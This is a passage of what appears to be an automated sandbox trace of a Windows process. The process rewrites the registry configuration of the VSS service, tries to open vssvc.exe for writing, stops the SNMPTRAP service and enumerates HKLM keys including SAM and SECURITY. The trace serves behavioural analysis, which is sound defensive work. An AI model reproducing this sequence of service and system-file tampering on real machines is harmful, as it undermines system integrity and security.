lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.128] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.128] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0213.128] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0213.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0213.128] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0213.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.129] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0213.130] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0213.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0213.130] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="RPCSS", cbData=0x6 | out: lpData="RPCSS") returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.130] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.131] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0213.131] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\vssvc.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1f [0213.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0213.131] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\vssvc.exe", lpDst=0x21f1bf8, nSize=0x1f | out: lpDst="C:\\Windows\\system32\\vssvc.exe") returned 0x1e [0213.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0213.132] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\vssvc.exe", cbData=0x1e | out: lpData="C:\\Windows\\system32\\vssvc.exe") returned 0x0 [0213.132] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\vssvc.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\vssvc.exe" [0213.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0213.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0213.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0213.132] LocalFree (hMem=0x7e4b18) returned 0x0 [0213.132] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\vssvc.exe", cbData=0x1e | out: lpData="C:\\Windows\\system32\\vssvc.exe") returned 0x0 [0213.132] OpenServiceW (hSCManager=0x803918, lpServiceName="VSS", dwDesiredAccess=0x2) returned 0x803990 [0213.132] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0213.151] CloseServiceHandle (hSCObject=0x803990) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.152] RegCloseKey (hKey=0x148) returned 0x0 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0213.152] RegCloseKey (hKey=0x150) returned 0x0 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0213.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0213.152] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\vssvc.exe" (normalized: "c:\\windows\\system32\\vssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871a87d4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871a87d4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871ce934, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x186c00)) returned 1 [0213.186] CreateFileW (lpFileName="C:\\Windows\\system32\\vssvc.exe" (normalized: "c:\\windows\\system32\\vssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.186] GetLastError () returned 0x5 [0213.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0213.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0213.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0213.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0213.189] NtClose (Handle=0x150) returned 0x0 [0213.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0213.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0213.860] NtClose (Handle=0x150) returned 0x0 [0213.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0213.860] NtClose (Handle=0x148) returned 0x0 [0213.860] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0214.197] NtClose (Handle=0x14c) returned 0x0 [0214.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0214.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0214.197] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\vssvc.exe" (normalized: "c:\\windows\\system32\\vssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871a87d4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871a87d4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871ce934, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x186c00)) returned 1 [0214.197] CreateFileW (lpFileName="C:\\Windows\\system32\\vssvc.exe" (normalized: "c:\\windows\\system32\\vssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.197] GetLastError () returned 0x20 [0214.197] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0214.198] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0214.198] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0214.198] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x20) returned 0x8038a0 [0214.198] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0214.199] GetLastError () returned 0x426 [0214.199] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0214.199] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0214.199] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.199] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0214.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.200] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0214.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.201] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.201] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0214.201] RegCloseKey (hKey=0x80000002) returned 0x0 [0214.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 